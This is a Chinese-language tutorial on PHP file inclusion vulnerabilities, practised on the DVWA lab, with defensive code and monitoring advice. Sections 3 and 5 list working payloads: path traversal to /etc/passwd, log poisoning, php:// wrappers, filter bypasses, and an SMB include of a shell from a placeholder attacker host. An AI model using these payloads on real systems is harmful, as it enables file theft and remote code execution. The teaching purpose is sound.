1. 漏洞原理与危害剖析
文件包含漏洞(File Inclusion Vulnerability)是Web安全领域的高危漏洞类型,允许攻击者通过参数操控包含服务器上的任意文件。根据包含机制的不同分为本地文件包含(LFI)和远程文件包含(RFI)两种形式。
1.1 漏洞形成机制
当Web应用使用动态文件包含函数(如PHP的include/require)且未对用户输入进行严格过滤时,攻击者通过修改参数路径即可实现非授权文件访问。典型漏洞代码如下:
php复制<?php
$page = $_GET['page']; // 未过滤用户输入
include($page . '.php');
?>
这段代码本意是加载page=about时包含about.php文件,但攻击者通过构造page=../../etc/passwd%00这样的参数即可读取系统敏感文件。
1.2 实际危害场景
- 敏感信息泄露:读取/etc/passwd、.env配置文件、数据库凭证等
- 远程代码执行:结合文件上传或日志注入实现RCE
- 权限提升:包含session文件或临时文件获取管理员权限
- 拒绝服务:包含/dev/zero等特殊设备文件导致服务崩溃
关键点:PHP版本<5.3.4时可用%00截断,新版本需配合路径穿越符(../)实现包含
2. DVWA靶场环境搭建
DVWA(Damn Vulnerable Web Application)是专为安全测试设计的PHP/MySQL应用,包含从低到高四个安全等级的文件包含漏洞场景。
2.1 快速部署方案
推荐使用Docker一键部署:
bash复制docker run --rm -it -p 80:80 vulnerables/web-dvwa
访问http://localhost后完成以下配置:
- 点击"Create/Reset Database"初始化数据库
- 使用默认账号admin/password登录
- 在"DVWA Security"中将难度调整为"Low"
2.2 关键目录结构
code复制/var/www/html/vulnerabilities/fi/ # 文件包含漏洞模块
- index.php
- source/
- low.php # 低安全级别代码
- medium.php # 中安全级别代码
- high.php # 高安全级别代码
- impossible.php # 安全代码
3. 漏洞利用实战演练
3.1 低安全级别(无防护)
查看low.php源码可见直接包含$_GET['page']参数:
php复制$file = $_GET['page'];
include($file);
基础利用:
- 包含系统文件:
?page=../../../../etc/passwd - 日志文件注入:先访问
/<?php phpinfo();?>污染日志,再包含/var/log/apache2/access.log - PHP伪协议:
?page=php://filter/convert.base64-encode/resource=index.php
3.2 中安全级别(基础过滤)
medium.php增加了简单过滤:
php复制$file = str_replace(['http://','https://'], '', $_GET['page']);
$file = str_replace('../', '', $file);
绕过技巧:
- 双写绕过:
?page=....//....//etc/passwd - 绝对路径:
?page=/var/www/html/config.php - 非标准协议:
?page=file:///etc/passwd
3.3 高安全级别(白名单限制)
high.php采用白名单机制:
php复制$file = $_GET['page'];
if( !fnmatch('file*', $file) && $file != 'include.php') {
die('Invalid file');
}
突破方法:
- 利用file协议:
?page=file:///etc/passwd - 临时文件包含:配合文件上传漏洞包含/tmp/php[随机名]
- SMB共享包含:
?page=\\attacker-ip\share\shell.php
4. 防御方案与最佳实践
4.1 代码层防护
绝对安全的方案(impossible.php):
php复制$file = $_GET['page'];
switch($file) {
case 'file1.php':
case 'file2.php':
include($file);
break;
default:
header('Location: ?page=file1.php');
exit;
}
其他防御措施:
- 设置open_basedir限制访问目录
- 禁用危险函数:
allow_url_include=Off - 实时监控包含操作:通过inotify监控敏感文件包含行为
4.2 运维加固建议
nginx复制# Nginx防护配置
location ~* \.php$ {
fastcgi_param PHP_ADMIN_VALUE "open_basedir=/var/www/html:/tmp";
}
5. 渗透测试实战技巧
5.1 自动化检测工具
使用kali内置工具扫描:
bash复制wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt \
--hc 404 http://target/vuln.php?page=FUZZ
5.2 手工测试流程
- 基础探测:尝试包含
/proc/self/environ等特殊文件 - 协议测试:依次尝试php://、data://、zip://等协议
- 日志污染:通过User-Agent注入PHP代码
- 二次攻击:结合文件上传漏洞获取webshell
5.3 典型漏洞利用链
code复制文件包含 → 日志文件读取 → 代码执行 → 反弹shell → 权限提升
6. 企业级防护方案
6.1 WAF规则示例
xml复制<rule id="100015" level="12">
<description>PHP File Inclusion Attack</description>
<operator>pmFromFile</operator>
<list>php-file-inclusion.data</list>
<match>ARGS_NAMES|ARGS</match>
<action>block</action>
</rule>
6.2 监控指标设计
| 指标名称 | 告警阈值 | 响应措施 |
|---|---|---|
| 非常规文件包含 | 单次即告警 | 阻断IP并通知安全岗 |
| ../序列出现频率 | 5次/分钟 | 记录日志并分析 |
| 伪协议使用尝试 | 单次即告警 | 终止会话并审计 |
在真实渗透测试项目中,文件包含漏洞往往能成为突破内网的跳板。我曾通过包含Tomcat日志文件成功获取到后台管理员session,进而控制整个Web管理系统。建议开发者在代码审查阶段特别关注所有动态包含操作,运维人员则应当定期检查服务器上的日志文件权限设置。